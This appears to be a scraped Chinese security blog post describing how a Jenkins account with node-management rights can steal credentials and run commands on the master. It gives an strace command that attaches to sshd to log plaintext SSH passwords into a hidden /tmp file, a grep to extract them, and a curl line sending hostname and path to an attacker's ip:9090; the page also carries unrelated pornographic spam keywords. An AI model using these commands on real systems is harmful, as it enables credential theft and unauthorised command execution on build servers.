国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令

這篇具有很好參考價值的文章主要介紹了Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

擁有Jenkins agent權(quán)限的賬號可以對node節(jié)點進行操作,通過添加不同的node可以讓流水線項目在不同的節(jié)點上運行,安裝Jenkins的主機默認作為master節(jié)點。

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端

1.Jenkins 添加node獲取明文憑據(jù)

通過添加node節(jié)點,本地監(jiān)聽ssh認證,選則憑據(jù)(明文)進行ssh認證,拿到密碼。

1.新建節(jié)點-manage nodes功能

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端

2.填寫工作目錄,選擇通過SSH進行遠程節(jié)點身份認證,選擇抓取帶*號的憑據(jù),host key選擇不進行驗證:

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端

3.主機監(jiān)聽:這里監(jiān)聽主機ssh使用的是strace后門,實際也可以使用其他方式進行:

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

4.保存節(jié)點配置, Jenkins將對主機進行ssh請求:

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端

node節(jié)點認證日志(賬號密碼方式):

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端

5. 查看接受結(jié)果,這種方式獲得的密碼需要自行判斷下起始位置

grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端

2.通過添加節(jié)點執(zhí)行命令

同樣的,在添加節(jié)點時可以配置在master上執(zhí)行命令去進行其他節(jié)點認證,也就可以在master上執(zhí)行惡意命令了。

注意:這里執(zhí)行curl命令時不能使用``直接執(zhí)行系統(tǒng)命令,所以利用時需要更換其他方式。

curl -k ip:9090/`hostname`/`pwd`
env

添加節(jié)點時也可以從控制器執(zhí)行命令,Launch method 選擇 通過在master上執(zhí)行命令的方式:

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端

保存然后launch agent:

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端

可以在Log里面看到命令env的輸出:

Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令,jenkins,servlet,java,nginx,web安全,網(wǎng)絡(luò),前端文章來源地址http://www.zghlxwxcb.cn/news/detail-733308.html

到了這里,關(guān)于Jenkins :添加node權(quán)限獲取憑據(jù)、執(zhí)行命令的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔相關(guān)法律責任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • Jenkins 添加node節(jié)點

    Jenkins 添加node節(jié)點

    安裝SSH插件 Jenkins- 插件管理- 可選插件- 搜索SSH Agent 配置啟用SSH Server Jenkins- 系統(tǒng)管理 - 全局安全配置, 把 SSH Server 設(shè)置為啟用(默認是禁用) 新增節(jié)點 第一種方式(SSH密鑰連接): 1.Jenkins主機生成SSH密鑰 2.發(fā)送Jenkins主機公鑰至要遠程主機上 3.測試Jenkins主機免密連接遠程主機

    2024年02月04日
    瀏覽(43)
  • Jenkins基礎(chǔ)篇--添加用戶和用戶權(quán)限設(shè)置

    Jenkins基礎(chǔ)篇--添加用戶和用戶權(quán)限設(shè)置

    點擊系統(tǒng)管理,點擊管理用戶,然后點擊創(chuàng)建用戶(Create User) 點擊系統(tǒng)管理,點擊全局安全配置,找到授權(quán)策略,選擇安全矩陣,配置好用戶權(quán)限后,點擊應(yīng)用

    2024年01月23日
    瀏覽(20)
  • 【jenkins】第三篇:jenkins憑據(jù)管理

    【jenkins】第三篇:jenkins憑據(jù)管理

    憑證管理 【系統(tǒng)管理】—【憑據(jù)管理】 1.1 創(chuàng)建Gitlab私人令牌 點擊創(chuàng)建后,提示個人令牌,一定要先復(fù)制出來保存好,因為一刷新頁面token就看不到了。 1.2 添加Gitlab API令牌憑據(jù) 【系統(tǒng)管理】—【憑據(jù)】—【全局】—【添加憑據(jù)】 選擇 Gitlab API 令牌 類型,輸入 Gitlab私人令牌

    2024年02月03日
    瀏覽(20)
  • 七、docker-compose方式運行Jenkins,更新Jenkins版本,添加npm node環(huán)境

    一、docker-compose方式安裝運行Jenkins 中發(fā)現(xiàn)Jenkins版本有點老,沒有node環(huán)境,本節(jié)來說下更新jenkins 及添加構(gòu)建前端的node環(huán)境。

    2024年02月16日
    瀏覽(24)
  • jenkins配置gitlab憑據(jù)

    jenkins配置gitlab憑據(jù)

    下載Credentials Binding插件(默認是已經(jīng)安裝了) 在憑據(jù)配置里添加憑據(jù)類型 點擊保存 Username with password: 用戶名和密碼 SSH Username with private 在憑據(jù)管理里面添加gitlab賬號和密碼 點擊全局 點擊添加憑據(jù)(版本不同接口位置可能發(fā)生改變) 輸入gitlab的賬號和密碼點擊確定 測試憑

    2024年02月08日
    瀏覽(21)
  • Jenkins憑證/憑據(jù)管理詳解

    Jenkins憑證/憑據(jù)管理詳解

    憑證插件( Credentials plugin) (包含在 Jenkins 安裝中)提供了對憑證的創(chuàng)建和管理機制,同時也為其他插件提供了用于存儲和訪問憑證的 API 最常用的是 用戶名和密碼 ,通過它們?nèi)ハ螺dgit倉庫的源碼 憑證默認保存在 JENKINSHOME/secrets 目錄下 憑證具有與它們相關(guān)聯(lián)的范圍。這是

    2024年02月03日
    瀏覽(16)
  • jenkins——憑據(jù)管理

    jenkins——憑據(jù)管理

    憑據(jù)管理的作用:管理ssh、郵箱、git等認證信息 Dashboard —— 系統(tǒng)管理(Manage Jenkins) —— Manage Credentials Dashboard - 系統(tǒng)管理(Manage Jenkins) - Manage Credentials - Stores scoped to Jenkins -添加憑據(jù) 各種配置頁面上的 Credentials 添加 類型選擇:默認為Username with password - 用戶名 - 密碼 編

    2024年02月13日
    瀏覽(19)
  • Jenkins創(chuàng)建SSH登錄憑據(jù)

    Jenkins創(chuàng)建SSH登錄憑據(jù)

    使用Jenkins時,要獲取?SSH?登錄憑據(jù)?id,需要創(chuàng)建一個憑據(jù),在此庫存儲憑據(jù)并使用其中的?ID,以便在腳本中進行?SSH?登錄。 按照以下步驟創(chuàng)建這些憑據(jù): 1、打開?Jenkins?您的?Jenkins?控制臺,然后導(dǎo)航到系統(tǒng)管理 管理憑據(jù)?。 2、在?\\\"系統(tǒng)\\\"?子菜單下,單擊?\\\"全局憑據(jù)\\\"?

    2024年02月09日
    瀏覽(16)
  • Jenkins遠程連接Windows執(zhí)行命令

    Jenkins遠程連接Windows執(zhí)行命令

    ? ? ? ? 我在一臺linux服務(wù)器上安裝了Jenkins服務(wù)作為Jenkins服務(wù)器,除此之外,還有一臺Windows電腦,安裝了python環(huán)境,本地保存著自動化測試用的python代碼,這臺電腦用于執(zhí)行基于chrome瀏覽器的自動化web測試。2臺機器都處在同一個網(wǎng)絡(luò)里。 ? ? ? ? 現(xiàn)在想要達到的效果是,利

    2024年02月11日
    瀏覽(15)
  • Jenkins基礎(chǔ)篇--憑據(jù)(Credential)管理

    Jenkins基礎(chǔ)篇--憑據(jù)(Credential)管理

    Jenkins的Credentials直譯為證書、文憑,我們可以理解為它是鑰匙,用來做某些事情的認證。 如Jenkins 和 GitLab交互時,需要添加GitLab的API令牌和登錄憑證。 如Jenkins 添加從節(jié)點時,需要添加從節(jié)點的登錄憑證或者Jenkins主機的密鑰。 我們通過憑據(jù)來認證是合法用戶。在jenkins中,我

    2024年02月01日
    瀏覽(43)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包